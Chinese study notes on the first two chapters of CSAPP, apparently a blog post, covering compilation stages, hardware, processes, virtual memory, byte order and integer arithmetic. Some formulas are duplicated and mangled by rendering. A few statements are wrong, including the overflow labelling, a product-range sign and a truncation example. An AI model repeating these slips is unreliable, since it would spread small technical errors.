csapp-深入理解计算机系统学习记录

文章目录

csapp 学习记录一

第1章:计算机系统漫游

信息就是位+上下文

系统中的所有信息,都是一串比特组成的。区分不同数据对象的唯一方法是联系他们的上下文。

从一个c文件,到可执行目标文件整个翻译过程分为4个阶段

e36c55a275584001e114bcf861e3eb39.png

  • 预处理阶段 预处理器 cpp 根据字符# 开头的命令,修改原始的C程序。

    比如include<stdio.h> 命令告诉预处理器,读取系统头文件 stdio.h的内容。并把它插入到程序中。结果得到了另一个c程序。通常为.i作为文件拓展。

  • 编译阶段。 编译器(ccl)将hello.i 翻译成文本文件 hello.s 翻译是将.i 转为汇编。

  • 汇编阶段, 汇编器(as)将hello.s 翻译成机器语言指令,将这些指令打包成可重定位目标程序的格式。并将结果保存至目标 hello.o中(改文件为二进制文件,它包含的17个字节是main的执行编码)。如果文本编辑器打开,则为一堆乱码

  • 链接阶段 : 比如说hello程序调用了printf函数,是每个C编译器都提供的标准C库中的一个函数,printf 函数保存在一个名为printf.o 的单独预编译完成的目标文件中。 这个文件必须以某种方式合并到我们程序中。链接器(ld)就负责这种合并,于是得到hello文件,它是一个可执行文件,可以直接加载到内存中执行。

程序执行的过程:

shell程序执行指令,等待我们的命令,输入命令并回车之后, shell将字符都逐一读进寄存器。再把它放到内存中。

(利用DMA:直接存储器读取)技术可以数据不经过处理器而直接从磁盘到达主存。

一旦目标文件hello的代码和数据被加载到内存,处理器就开始执行。hello程序中main程序中的机器语言指令。再从寄存器文件中复制到显示设备,最终显示在屏幕上。

image-20210325000015261

摩尔定律:

image-20210329012558075

HELLO WORLD 可执行程序的产生

hello.c 文本文件的创建:

#include<stdio.h>
int main()
{
    printf("hello world\n");
    return 0;
}

对源代码进行编译,生成可执行文件hello

理解编译过程及原理的意义何在

整体来看有三个方面的原因:

1、优化程序性能

2、理解程序链接时的错误,有助于我们解决各种奇奇怪怪的错误

3、避免安全漏洞,比如缓冲区溢出漏洞等

可执行程序hello在计算机上执行的过程

此过程用几副抽象出来图片来说明一下

img 图中“hello”由usb键盘输入,通过I/O总线传递给cpu,其处理后将获得的数据存至内存中

img 图中磁盘与内存之间通过DMA(Direct Memory Access)直接存储器存取技术将需要的hello程序数据,从磁盘中读入内存中

img 图中CPU读取内存中的程序指令及数据,处理后将计算后的数据交给显示设备,显示设备收到数据后进行显示

程序执行过程中的几点启示

1、程序执行时数据需要进行多点交换,整个过程需要消耗“大量”时间。

2、按照目前大部分计算机来说,计算机数据存储单元按照读写速度由大到小比较:寄存器>高速缓存L1>高速缓存L2>高速缓存L3>内存>磁盘,而按照数据存储大小来看正好相反。

3、本例中,hello程序的执行并非是自己将自己交给处理器进行执行,而是通过shell程序将各种参数交给操作系统,操作系统再对计算机资源进行调度,然后将hello程序交给计算机组件进行处理输出。

4、计算机在进行资源调度时,会为新的程序创建一个进程,而每个进程看到的内存都是一样的,因为程序在链接的时候会对内存地址进行分配,所以操作系统为每个进程统一内存,还原一个程序所需要的内存环境,我们称之为虚拟地址空间。如下图(虚拟地址空间)的分布。

系统的硬件组成

img

典型系统的硬件构成

  • 总线

    贯穿整个系统的是一组电子管道,称为总线 ,它携带信息字节,并负责在各个部件之间传递,通常总线被设计成传送定长的字节块,就是字(word),字中的字节数(字长)是一个基本的系统参数,现在大多数机器字长有4个字节(32位)或8字节(64位)

  • I/O设备

    每个I/O设备都通过一个控制器或者适配器和I/O总线相连,控制器是I/O设备本身或者系统的主印制电路板(主板)上的芯片组,而适配器则是一块插在主板插槽上的卡,无论如何,它们的功能都是为了在I/O总线和I/O设备之间传输数据

  • 主存

    主存是一个临时存储设备,在处理器执行程序的时候,用来存放程序和程序处理的数据,从物理上说,主存是由一组动态随机存取存储器(DRAM)芯片组成的。从逻辑上说,存储器是一个线型的字节数组,每个字节都有其唯一的索引(数组索引),这些地址是从零开始的,一般来说,组成程序的每条机器指令都由不同数量的字节构成,比如在运行Linux的x86-64机器上,short类型的数据需要2个字节,int和float类型需要4个字节,而long和double需要8个字节

  • 处理器

    中央处理单元(CPU),简称处理器,是解释(或运行)存储在主存中指令的引擎。处理器的核心是一个大小为一个字的存储设备(或寄存器),称为程序计数器(PC)。在任何时刻,PC都指向主存中某条机器语言指令(即含有该条指令的地址)

    处理器看上去是一个非常简单的指令执行模型来操作的,这个模型是由指令集架构决定的,在这个模型中,指令按照严格的顺序执行,而执行一条指令包含一系列的步骤,处理器从程序计数器指向的内存处读取指令,解释指令中的位,执行该指令指示的简单操作,然后更新PC,使其指向下一条指令,而这条指令并不一定和在内存中刚刚执行的指令相邻

    这样简单的操作并不多,它们围绕着主存、寄存器文件和算数/逻辑单元(ALU)进行。寄存器文件是一个小的存储设备,由一些单个字长的寄存器组成,每个寄存器都有唯一的名字, ALU计算新的数据和地址值。下面是一些简单操作的例子,CPU在指令的要求下可能会执行这些操作

    • 加载:从主存复制一个字节或者一个字到寄存器,以覆盖寄存器原来内容
    • 存储:从寄存器赋值一个字节或者一个字到主存的某个位置,以覆盖这个位置上原来的内容
    • 操作:把两个寄存器的内容复制到ALU,ALU对这两个字做算术运算,并将结果存放到一个寄存器中,以覆盖该寄存器中原来的内容
    • 跳转:从之灵本身中抽取一个字,并将这个字复制到程序计数器(PC)中,以覆盖PC中原来的值

高速缓存

系统化了大把时间把信息从一个地方挪动到另一个地方,hello程序从最初的在磁盘上,当程序加载时,它们被复制到主存,当处理器运行程序的时候,指令又从主存复制到了处理器上,这些复制就是开销,减慢了程序真正的工作

根据机械原理,较大的存储设备要比较小的存储设备运行得慢,而快速设备的造价远高于同类的低速设备,类似的,一个典型的寄存器文件只存储几百字节的信息,而主存中可存放几十亿字节,然而,处理器从寄存器文件中读数据比从主存中读取数据快乐至少100倍

高速缓存存储器:作为暂时的集结区域,存放处理器近期可能会需要的信息

位于处理器芯片上的L1高速缓存的容量可以达到数万字节,访问速度几乎和访问寄存器文件一样快,一个容量为数十万的到数百万的L2高速缓存通过一条特殊的总线连接到处理器,进程访问L2高速缓存的时间要比访问L1高速缓存的时间长5倍,但是这仍比访问主存的时间快5~10倍,L1和L2高速缓存是用一种叫做静态随机访问存储器(SRAM)的硬件技术实现的,这些高速缓存的速度快是因为利用了高速缓存的局部性原理,即程序具有访问局部区域里的代码和数据的趋势,通过让高速缓存里存放尽可能经常访问的数据,大部分的内存操作都能在快速的高速缓存中完成

存储设备形成层次结构

在处理器和一个较大较慢的设备(例如主存)之间插入一个更小更快的存储设备(例如高速缓存)的想法已经成为了一个普遍的观念。

img

存储层次结构

在这个层次结构中,从上至下,设备的访问速度越来越慢,但是容量越来越大,并且每字节的造价也越来越便宜,寄存器文件在层次结构中位于最顶部,也就是第0级或者记为L0

存储器层次结构的主要思想是上一层的存储器作为第一层存储器的高级缓存,比如寄存器文件就是L1的高速缓存,L1就是L2的高速缓存以此类推

操作系统管理硬件

当shell加载和运行hello的时候,以及hello程序输出自己的信息的时候,shell和hello程序都没有直接访问键盘、显示器、磁盘或者主存,取而代之的是,它们依靠操作系统提供的服务,我们可以把操作系统看成是应用程序和硬件之间插入的一层软件,所有应用程序对硬件的操作尝试,都必须经过操作系统

操作系统的两个基本功能

  • 防止硬件被失控的应用程序滥用
  • 向应用程序提供简单一致的机制来控制复杂而又通常大不相同的低级硬件设备

操作系统通过几个基本的抽象概念(进程、虚拟内存和文件)来实现这两个功能,文件是对I/O设备的抽象表示,虚拟内存是对主存和磁盘I/O的抽象表示,进程则是对处理器、主存和I/O设备的抽象表示

img

操作系统的抽象表示

进程

像hello这样的程序在现代系统上运行的时候,操作系统会提供一种假象,就好像系统上只有这个程序在运行。程序看上去是独占地使用处理器、主存和I/O设备,处理器看上去就像在不间断地处理一条接一条地执行程序中的指令,即改程序的代码和数据是系统内存中唯一的对象

进程是操作系统对一个正在进行的程序的一种抽象,在一个系统上可以同时运行多个进程,而每个进程都好像在独占地使用硬件,而并发运行,则是说一个进程的指令和另一个进程的指令是相互交替执行的,在大多数系统中,需要运行的进程数量是多于可以运行它们的CPU个数的,传统系统在一个时刻只能执行一个程序,而现今的多核处理器同时可以执行多个程序,无论是在单核还是多核的系统中,一个CPU看上去都像是在并发地执行多个经常,这是通过处理器在进程间切换来实现的,操作系统实现这种交错执行的机制称为上下文切换

操作系统保持跟踪进程运行所需的所有状态信息,这种状态就是上下文,包括许多信息,比如PC和寄存器文件的当前值,以及主存的内容。在任何一个时刻,单处理器系统都只能执行一个进程的代码,当操作系统决定要把控制权从当前进程转移到某个新进程的时候,就会进行上下文切换,即保存当前的进程上下文,恢复新进程的上下文,然后将控制权传递到新进程,新进程就会从它上次停止的地方开始

举一个shell和hello两个进程并发的例子,最开始,只有shell进程在运行,即等待命令行上的输入,当我们让他运行hello程序时,shell通过调用一个专门的函数,即系统调用

系统调用会将控制权传递给操作系统,操作系统保存shell进程的上下文,创建一个新的hello进程及其上下文,然后将控制权传递给hello进程,hello进程终止后,操作系统恢复shell进程的上下文,并将控制权传回给它,shell进程会继续等待下一个命令行输入

从一个进程到另一个进程的转换是由操作系统内核管理的。内核是操作系统代码常驻主存的部分,当应用程序需要操作系统的某些操作的时候,比如读写文件,它就执行一条特殊的系统调用(system call)命令,将控制权传递给内核,然后内核执行被请求的操作并返回应用程序,内核不是一个独立的进程。相反它是系统管理全部进程所用代码和数据结构的集合

img

进程的上下文切换

线程

一个进程实际可以由多个称为线程的执行单元构成,每个线程运行在进程的上下文中,并共享同样的代码和全局数据,县城成为越来越重要的编程模型,因为多线程之间比多进程之间更容易共享数据,也因为线程一般来说都比进程更高效,当有多处理器可用的时候,多线程也是一种使得程序可以运行得更快的方法

虚拟内存

虚拟内存是一个抽象概念,它为每个进程提供了一个假象,即每个进程都在独占的使用主存。每个进程看到的内存都是一致的,称为虚拟地址空间

img

进程的虚拟地址空间

在Linux系统中,地址空间最上面的区域是保留给操作系统中代码和数据的,这对所有进程来说都是一样,地址空间底部区域存放用户进程定义的代码和数据,上图中地址是从下向上增大的

  • 程序代码和数据
    对所有进程来说,代码是从同一固定的地址开始,紧接着的适合C区安居变量相对应的数据位置,代码和数据区是直接是直接按照可执行目标文件的内容初始化的

  • 代码和数据区在进程一开始运行时就被指定了大小,与此不同,当调用像malloc和free这样的C标准函数的时候,堆可以在运动时动态的拓展和收缩
  • 共享库
    大约在地址空间的中间部分是一块用来存放C标准库和数学库这样的共享库的代码和数据的区域

  • 位于用户虚拟地址空间顶部的是用户栈,编译器用它来实现函数调用,和堆一样,栈在程序执行期间可以动态扩展和收缩,当调用一个函数的时候栈就会被扩展,一个函数返回的时候栈就会收缩
  • 内核虚拟内存
    地址空间顶部是为内核保留的,不允许应用程序读写这个区域的内容或者直接调用内核代码定义的函数,它们必须通过内核来执行这些操作,虚拟内存的运作基本思想是把一个进程虚拟内存的内容存储在磁盘上,然后用主存作为磁盘的高速缓存

并发和并行

我们用的术语并发是一个通用的概念,指一个同时具有多个活动的系统;而术语并行指的是用并发来使一个系统运行得更快,并行可以在计算机系统的多个抽象层次上运用

线程级并发

传统意义上线程级别上的并发只是模拟出来的,是通过是一台计算机在它正在执行的进程间快速切换来实现的,就好像一个杂耍艺人保持多颗杂技球在空中飞舞一样

指令级并行

在较低的抽象层次上,现代处理器可以同时执行多条指令的属性叫做指令级并行,如果处理器可以达到比一个周期一个指令更快的执行速率就称之为超标量处理器

第2章:信息表示和处理

2.1 信息存储

前言:大致的数的表示,数的运算在机组课上已经有老师带领全部学习了一遍,这里主要以复习提升为主。

  1. 重要概念

1)字节:大多数计算机使用8位的块(字节),作为最小的可寻址的内存单位,而不是访问内存中单独的位。
2)虚拟内存:机器级程序将内存视作一个很大的字节数组,称作虚拟内存。
\3) 地址:内存的每一个字节都有一个唯一的数字来标识,称为它的地址。
4)虚拟地址空间:所有可能的地址的集合称为虚拟地址空间。

  • 这个虚拟地址空间只是一个展示给机器级程序的概念性映像。
  • 实际的实现(见第9章)是将动态随机访问存储器(DRAM)、闪存、磁盘存储器、特殊硬件和操作系统软件结合起来,为应用程序提供一个看上去统一的字节数组。

5)程序对象:程序数据、指令和控制信息。

2.1.1 十六进制表示法

  1. 为什么选择十六进制

1)一个字节由8位组成,在二进制表示法中,它的值域是 0000000 0 2 ∼ 1111111 1 2 00000000_2\sim 11111111_2 000000002∼111111112,如果看成十进制就是 0 10 ∼ 25 5 10 0_{10}\sim 255_{10} 010∼25510.
2)两种表示法对于描述位模式都十分不方便。二进制表示法太冗长,十进制表示法与位模式的转化十分麻烦。

  1. 十六进制表示法
  • 1)十六进制数:

    十六进制使用0~9,以及字符A ~ F来表示16个可能的值,
    一个字节的值域为 0 0 16 ∼ F F 16 00_{16}\sim FF_{16} 0016∼FF16
    在C语言中,以0x或者0X开头的数字常量被认为是十六进制的数。字符‘A’ ~ ‘F’既可以是大写也可以是小写,例如我们可以将 F A 1 D 37 B 16 FA1D37B_{16} FA1D37B16写作 0 x F A 1 D 37 B 0xFA1D37B 0xFA1D37B,或者 0 x f a 1 d 37 b 0xfa1d37b 0xfa1d37b
    

2)十六进制和二进制之间的转换

  • 在这里插入图片描述

  • 注意:将二进制数字转化为十六进制的时候,要把二进制数字分割为每四个一组,如果总数不是四的倍数,最左边一组可以少于四位,前面用零补足。然后将每个四位组转化为相应的十六进制数字。
    当值x是2的幂时,也就是,对于某个n,x= 2 n 2^n 2n,我们可以很容易地将x写成十六进制形式。只要记住x的二进制表示就是1后面跟n个零。十六进制数字О代表四个二进制0。所以,对于被写成i+4j形式的n来说,其中0≤i≤3,我们可以把x写成开头的十六进制数字为1(i=0)、2(=1)、4 ( i=2)或者8(i=3),后面跟随着j个十六进制的0。比如,x=2048= 2 11 2^{11} 211,我们有n=11 =3+4·2,从而得到十六进制表示0x800。
    

    3)十六进制和十进制之间的转换

    十进制和十六进制表示之间的转换需要使用乘法或者除法来处理一般情况。将一个十进制数字x转换为十六进制,我们可以反复地用16除x,得到一个商q和一个余数r,也就是x=q· 16+r。然后,我们用十六进制数字表示的r作为最低位数字,并且通过对q反复进行这个过程得到剩下的数字。例如,考虑十进制314156的转换:
    314156 = 19634 ⋅ 16 + 12 ( C ) 19634 = 1227 ⋅ 16 + 2 ( 2 ) 1227 = 76 ⋅ 16 + 11 ( B ) 76 = 4 ⋅ 16 + 12 ( C ) 4 = 0 ⋅ 16 + 4 ( 4 )
    314156196341227764=19634⋅16+12(C)=1227⋅16+2(2)=76⋅16+11(B)=4⋅16+12(C)=0⋅16+4(4)
    

    314156196341227764=19634⋅16+12©=1227⋅16+2(2)=76⋅16+11(B)=4⋅16+12©=0⋅16+4(4)
    从这里,我们能读出十六进制表示为0x4CB2C.
    反过来,将一个十六进制数字转换为十进制数字,我们可以用相应的16的幂乘以每个十六进制数字。比如,给定数字Ox7AF,我们计算它对应的十进制值为716+ 1016+ 15=7256+1016+ 15= 1792+ 160+ 15= 1967。

2.1.2 字

    每台计算机都有一个字长( word size),指明整数和指针数据的标称大小( nominal size)。因为虚拟地址是以这样的字来编码的,所以字长决定的最重要的系统参数就是虚拟地址空间的最大大小。也就是说,对于一个字长为n位的机器而言,虚拟地址的范围为0~ 2 n 2^n 2n-1,程序最多访问 2 n 2^n 2n字节。

2.1.3 数据大小

  • 在这里插入图片描述

2.1.4 寻址和字节顺序

1.地址

  • 在几乎所有的机器上,多字节对象被存储为连续的字节序列,对象的地址为所使用的的字节序列的最小地址。
  • 例如,假设一个类型为int 的变量x的地址为0x100,也就是说,地址表达式&x的值为0x100。那么,x的四字节将被存储在存储器的0x100、0x101、0x102和0x103位置。

2.字节排序的两个通用规则:小端法&大端法

  • 对表示一个对象的字节序列排序,有两个通用的规则。考虑一个w位的整数,有位表示 [ x w − 1 , x w − 2 , ⋯   , x 1 , x 0 ] [\left.x_{w-1},x_{w-2}, \cdots, x_{1}, x_{0}\right] [xw−1,xw−2,⋯,x1,x0],其中 x w − 1 x_{w-1} xw−1是最高有效位,而 x 0 x_{0} x0是最低有效位。假设w是8的倍数,这些位就能被分组成为字节,其中最高有效字节包含位 [ x w − 1 , x w − 2 , ⋯   , x w − 8 ] \left[x_{w-1}, x_{w-2}, \cdots, x_{w-8}\right] [xw−1,xw−2,⋯,xw−8],而最低有效字节包含位 [ x 7 , x 6 , ⋯ x 0 ] \left[x_{7}, x_{6}, \cdots x_0\right] [x7,x6,⋯x0],其他字节包含中间的位。某些机器选择在存储器中按照从最低有效字节到最高有效字节的顺序存储对象,而另一些机器则按照从最高有效字节到最低有效字节的顺序存储。前一种规则—–最低有效字节在最前面的方式被称为小端法(little endian)。大多数源自以前的Digital Equipment 公司(现在是Compaq公司的一部分)的机器,以及 Intel的机器都采用这种规则。后一种规则(最高有效字节在最前面的方式)被称为大端法(big endian)。IBM、Motorola和Sun Microsystems 的大多数机器都采用这种规则。注意我们说的是“大多数”。这些规则并没有严格按照企业界限来划分。比如,IBM制造的个人计算机使用的是Intel兼容的处理器,因此就是小端法。许多微处理器芯片,包括Alpha和Motorola的 PowerPC,能够运行在任一种模式中,其取决于芯片加电启动时确定的字节顺序规则。
  • 继续我们前面的示例,假设变量x类型为int,位于地址0x100 处,有一个十六进制值为0x01234567。地址范围0x100~0x103的字节顺序依赖于机器的类型:
    在这里插入图片描述
    注意,在字0x01234567中,高位字节的十六进制值为0x01,而低位字节值为0x67。

3.字节顺序变得重要的三种情况

1)小端法机器产生的数据被发送到大端法机器或者反之时,接收程序会发现,字里的字节变成了反序。为了避免这类问题,网络应用程序必须建立关于字节顺序的规则,以确保发送机器将它的内部表示转换为网络标准,而接收方机器则将网络标准转换为它的内部表示。
2)字节顺序变得重要的第二种情况是当阅读表示整数数据的字节序列时。这通常发生在检查机器级程序时。作为一个示例,从某个文件中摘出了下面这行代码,该文件给出了一个针对Intel 处理器的机器级代码的文本表示: 80483 b d : 01 05 64 94 04 08 add % eax, 0 × 8049464
80483bd:010564940408 add % eax, 0×8049464
80483bd:010564940408 add % eax, 0×8049464这一行是由反汇编器((disassembler)生成的,反汇编器是一种确定可执行程序文件所表示的指令序列的工具。我们将在下一章中学习有关这些工具的更多知识,以及怎样解释像这样的行。而现在,我们只是注意这行表述了十六进制字节串01 05 64 94 04 08是一条指令的字节级表示,这条指令是增加一个字宽的数据到存储在主存地址Ox8049464的值上。如果我们取出这个序列的最后四字节:64940408,并且按照相反的顺序写出,我们得到08049464。去掉开头的零,我们就得到值Ox8049464,就是右边写着的数值。当阅读像此例中一样的小端法机器生成的机器级程序表示时,经常会将字节按照相反的顺序显示。书写字节序列的自然方式是最低位字节在左边,而最高位字节在右边,但是这和书写数字时最高有效位在左边,最低有效位在右边的通常方式是相反的。
3)字节顺序变得重要的第三种情况是当编写规避正常的类型系统的程序时。在C语言中,可以通过使用强制类型转换或者联合来允许以一种数据类型来引用一个对象,而这种数据类型与创建这个对象时的定义的数据类型不同。

2.1.5 表示字符串

  • C语言中的字符串被编码成一个以null(其值为零)字符结尾的字符数组。每个字符都由某个标准编码来表示,最常见的是ASCII编码。
  • 在使用ASCII码作为字符码的任何系统上运行show_bytes程序,都将得到相同的结果,与字节顺序和字的大小规则无关。
    -因而文本数据比二进制数据具有更强的平台独立性。

2.1.6 表示代码

  • 指令编码是不同的。
    • 不同的机器类型使用不同的且不兼容的指令和编码类型。
    • 完全一样的进程,运行在不同的操作系统上也有不同的编码规则。因此二进制代码是不兼容的。

2.1.7 布尔代数简介

  1. 布尔代数:围绕数值0和1的数学知识体系。
  2. 0和1的运算
    在这里插入图片描述
  3. 位向量的运算:
    在这里插入图片描述
  • 用位向量表示有限集合:

    a = [ 01101001 ] 可 以 表 示 A = { 0 , 3 , 5 , 6 } a=[01101001]可以表示A=\{0,3,5,6\} a=[01101001]可以表示A={0,3,5,6}
    b = [ 01010101 ] 可 以 表 示 B = { 0 , 2 , 4 , 6 } b=[01010101]可以表示B=\{0,2,4,6\} b=[01010101]可以表示B={0,2,4,6}
    布尔运算 ∣ | ∣和 & \& &分别对应于集合的并和交,而 ∼ \sim ∼对应于集合的补
    

2.1.8 C语言中的位级运算

  1. 示例
    在这里插入图片描述
  2. 掩码运算:
  • 例如: x = 0 x 89 A B C D E F 做 掩 码 运 算 x & 0 x F F = 0 x 000000 E F x=0x89ABCDEF做掩码运算x& 0xFF=0x000000EF x=0x89ABCDEF做掩码运算x&0xFF=0x000000EF

2.1.9 C语言中的逻辑运算

  1. 逻辑运算容易与位级运算混淆,注意比较以下例子:
    在这里插入图片描述
  2. 位级运算与逻辑运算的区别:
  • 逻辑运算认为所有非零的参数都表示TRUE,参数零表示FALSE,返回值为1或者0.
  • 逻辑运算符如果对第一个参数求值就能确定表达式的值,那么逻辑运算符就不会对第二个参数求值。

2.1.10 C语言中的移位运算

  1. 示例在这里插入图片描述
  • 移位运算从左往右可结合
  • 右移运算包括逻辑右移算数右移

2.2 整数表示

2.2.1整数数据类型

在这里插入图片描述

2.2.2 无符号数编码

在这里插入图片描述

无符号编码属于相对较简单的格式,因为它符合我们的惯性思维,上述定义其实就是对二进制转化为十进制的公式而已,只不过在一向严格的数学领域来说,是要给予明确的含义的。

2.2.3 补码编码

最常见的有符号数的计算机表示方式就是补码形式。在这个定义中,将字的最高有效位解释为负权,我们用函数B2T来表示。java中使用的就是补码。

在这里插入图片描述

我们观察这个公式,不难看出,补码格式下,对于一个w位的二进制序列来说,当最高位为1,其余位全为0时,得到的就是补码格式的最小值,即
在这里插入图片描述
而当最高位为0,其余位全为1时,得到的就是补码格式的最大值,根据等比数列的求和公式,即
在这里插入图片描述

2.2.4 有符号数和无符号数之间的转换

在C语言当中,我们经常会使用强制类型转换,而在之前的章节中,也提到过强制类型转换。强制类型转换不会改变二进制序列,但是会改变数据类型的大小以及解释方式,那么考虑相同整数类型的无符号编码和补码编码,数据类型的大小是没有任何变化的,变化的就是它们的解释方式。比如1000这个二进制序列,如果用无符号编码解释的话就是表示8,而若采用补码编码解释的话,则是表示-8。

一、补码转换为无符号数:

在这里插入图片描述

二、无符号数转换为补码:

在这里插入图片描述

2.2.5 C语言中的有符号数和无符号数

有符号数和无符号数的本质区别其实就是采用的编码不同,前者采用补码编码,后者采用无符号编码。

在C语言中,有符号数和无符号数是可以隐式转换的,不需要手动实施强制类型转换。不过也正是因为如此,可能你不小心将一个无符号数赋给了有符号数,就会造成出乎意料的结果,就像下面这样。

#include <stdio.h>

int main(){
    short i = -12345;
    unsigned short u = i;
    printf("%d %d\n",i,u);
}
1234567

输出结果为-12345,53191。一个不小心,一个负数就变成正数了。

再看下面这个程序,它展示了在进行关系运算时,由于有符号数和无符号数的隐式转换所导致的违背常规的结果。

#include <stdio.h>

int main(){
    printf("%d\n",-1 < 0U);
    printf("%d\n",-12345 < 12345U);
}
123456

两个结果都为0,也就是false,这与我们直观的理解是违背的,由于C语言对同时包含有符号和无符号数表达式的这种处理方式,出现了一些奇特的行为。当执行一个运算时,如果它的一个运算数是有符号的而另一个是无符号的,那么C语言会隐式地将有符号参数强制类型转换为无符号数,并假设这两个数都是非负的,来执行这个运算。就像我们将要看到的,这种方法对于标准的算术运算来说并无多大差异,但是对于像<和>这样的关系运算符来说,它会导致非直观的结果。

2.2.6 扩展一个数字的位表示

当我们将一个短整型的变量转换为整型变量时,就涉及到了位的扩展,此时由两个字节扩充为四个字节。

在进行位的扩展时,最容易想到的就是在高位全部补0,也就是将原来的二进制序列前面加入若干个0,也称为零扩展。还有一种方式比较特别,是符号扩展,也就是针对有符号数的方式,它是直接扩展符号位,也就是将二进制序列的前面加入若干个最高位。

  • 无符号数的零扩展:要将一个无符号数转换为一个更大的数据类型,我们只要简单地在表示的开头添加0。这种运算被称为零扩展。
  • 补码数的符号扩展:要将一个补码数字转换为一个更大的数据类型,可以执行一个符号扩展,在表示中添加最高有效位的值。

对于零扩展来说,很明显扩展之后的值与原来的值是相等的,而对于符号扩展来说,也是一样,只不过没有零扩展来的直观。我们在计算补码时有一个比较简单的办法,就是符号位若为0,则与无符号是类似的。若符号位为1,也就是负数时,可以将其余位取反最终再加1即可。因此当我们对一个有符号的负数进行符号扩展时,前面加入若干个1,在取反之后都为0,因此依旧会保持原有的数值。

总之,在对位进行扩展时,是不会改变原有数值的。

2.2.7 截断数字

截断与扩展相反,它是将一个多位二进制序列截断至较少的位数,也就是与扩展是相反的过程。截断可能会导致数据的失真。

一、对于无符号编码来说,截断后就是剩余位数的无符号编码数值

在这里插入图片描述

二、 对于补码编码来说,截断后的二进制序列与无符号编码是一样的,因此我们只需要多加一步,将无符号编码转换为补码编码就可以了。

在这里插入图片描述

不难看出,具有有符号和无符号数的语言,可能会因此引起一些不必要的麻烦,而且无符号数除了能表示的最大值更大以外,似乎并没有太大的好处。因此有很多语言是不支持无符号数的。如Java语言,就只有有符号数,这样省去了很多不必要的麻烦。无符号数很多时候只是为了表示一些无数值意义的标识,比如我们的内存地址,此时的无符号数就有点类似于数据库主键或者说键值对中的键值的概念,仅仅是一个标识而已。

2.3 整数运算

2.3.1 无符号加法

考虑两个非负整数x和y,满足0<=x,y<2w-1。每个数都能表示为w位无符号数字。然而,如果计算它们的和,我们就有一个可能的范围0<=x+y<=2w+1-2。表示这个和可能需要w+1位。例如,图示展示了当x和y有4位表示时,函数x+y的坐标图。参数(显示在水平轴上)的取值范围为015,但是和的取值范围为030。如果保持和为一个w+1位的数字,并且把它加上另外一个数值,我们可能需要w+2个位,以此类推。这种持续的“字长膨胀”意味着,要想完整的表示算术运算的结果,我们不能对字长做任何限制。一些编程语言,例如Lisp,实际上就支持无限精度的运算,允许任意的(在机器的内存限制内)整数运算。更常见的是,编程语言支持固定精度的运算,因此像“加法”和“乘法”这样的运算不同于它们在整数上的相应运算。

img

让我们为参数x和y定义运算img,其中0<=x,y<2w,该操作是把整数和x+y截断为w位得到的结果,再把这个结果看做是一个无符号数。这可以被视为一种形式的模运算,对x+y的位级表示,简单丢弃任何权重大于2w-1的位就可以计算出和模2w。比如,考虑一个4位数字表示,x=9和y=12的位表示分别为[1001]和[1100]。它们的和是21,5位的表示为[10101]。但是如果丢弃最高位,我们就得到[0101],也就是说,十进制值的5。这就和值21mod16=5一致。

img

说明公式两种情况,左边的和x+y映射到右边的无符号w位的和x+img。正常情况下x+y的值保持不变,而溢出情况则是该和数减去2w的结果。

推导:无符号数加法

一般而言,我们可以看到。如果 x+y<2w,和的w+1位表示中的最高位会等于0,因此丢弃它不会改变这个数值。另一方面,如果2w<=x+y<2w+1,和的w+1位表示中的最高位会等于1,因此丢弃它就相当于从和中减去了2w。

当执行C程序是,不会将溢出作为错误而发信号。不过有的时候,我们可能希望判定是否发生了溢出。

原理:检测无符号数加法中的溢出

对在范围0<=x,y<=UMaxw中的x和y,令s=x+img。则对计算s,当且仅当s<x(或者等价的s<y)时,发生了溢出。

作为说明,在前面的示例中,我们看到9+412=5。由于5<9,我们可以看出发生了溢出。

2.3.2 补码加法

对于补码加法,我们必须确定当结果太大(为正)或者太小(为负)时,应该做些什么。给定在范围-2w-1<=x,y<2w-1-1之内的整数值x和y,它们的和范围-2w<x+y<2w-2之内,要想准备表示,可能需要w+1位。我们仍通过将表示截断到w位,来避免数据大小的不断扩张。然而,结果却不像模数加法那样在数学上感觉很熟悉。定义x+img为整数和x+y被截断为w位的结果,并将这个结果看做是补码数。

img

当和x+y超过TMaxw时,我们说发生了正溢出。在这种情况下,截断的结果是从和数中减去2w。当和x+y小于TMinw时,我们说发生了正溢出。在这种情况下,截断的结果是把和数加上2w。

两个数的w位补码之和与无符号之和有完全相同的位级表示。实际上,大多数计算机使用同样的机器指令来执行无符号或者有符号加法。

2.3.3 补码的非

我们看到范围在TMinw<=x<=TMaxw中的每个数字x都有img下的加法逆元,我们将img表示如下。

img

也就是说,对w位的补码加法来说,Tminw是自己的加法的逆,而对其他任何数值x都有-x作为其加法的逆。

推导:补码的非

观察发现TMinw+TMinw = -2w-1+(-2w-1)=-2w。这就导致负溢出,因此TMinw+img=-2w+2w=0。对满足x>TMinw的x,数值-x可以表示为一个w位的补码,它们的和-x+x=0。

2.3.4 无符号乘法

范围在0 <=x,y<=2w-1内的整数x和y可以被表示为w位的无符号数,但是它们的乘积x*y的取值范围为0到(2w-1)2=22w-2w+1+1之间。这可能需要2w位来表示。不过,C语言中的无符号乘法被定义为产生W位的值,就是2W位的整数乘积的低w位表示的值。

将一个无符号数截断为w位等价于计算该值模2w,得到:

img

2.3.5 补码乘法

范围在-2w-1<=x,y<=2w-1-1内的整数x和y可以被表示为w位的补码数字,但是它们的乘积xy的取值范围为-2w-1(2w-1-1)=-22w-2+2w-1到-2w-1 *-2w-1 = -22w-2之间。要想用补码来表示这个乘积,可能需要2w位。然而,C语言中的有符号乘法是通过将2w位的乘积截断为w位来实现的。我们将这个数值表示为img。将一个补码数截断为w为相当于先计算该值模2w,再把无符号数转换为补码,得到:

img

2.3.6 乘以常数

以往,在大多数机器上,整数乘法指令相当慢,需要10个或者更多的时钟周期,然而其他整数运算(例如加法、减法、位级运算和移位)只需要一个时钟周期。即使在Inter Core i7上,其整数乘法也需要三个时钟周期。因此,编译器使用了一项重要的优化,试着用移位和加法运算的组合来代替乘以常数因子的乘法。首先,我们会考虑乘以2的幂的情况,然后再概况成乘以任意常数。

img

因此,比如,当w=4时,11可以被表示为[1011]。k=2时将其左移得到6位向量[101100],即可编码为无符号数11*4=44。

注意,无论是无符号运算还是补码运算,乘以2的幂都可能会导致溢出。结果表明,即使溢出的时候我们通过移位得到的结果也是一样的,如上例,我们将4位模式1011左移两位得到101100。将这个值截断为4位得到[1011](数值为12=44mod16)。

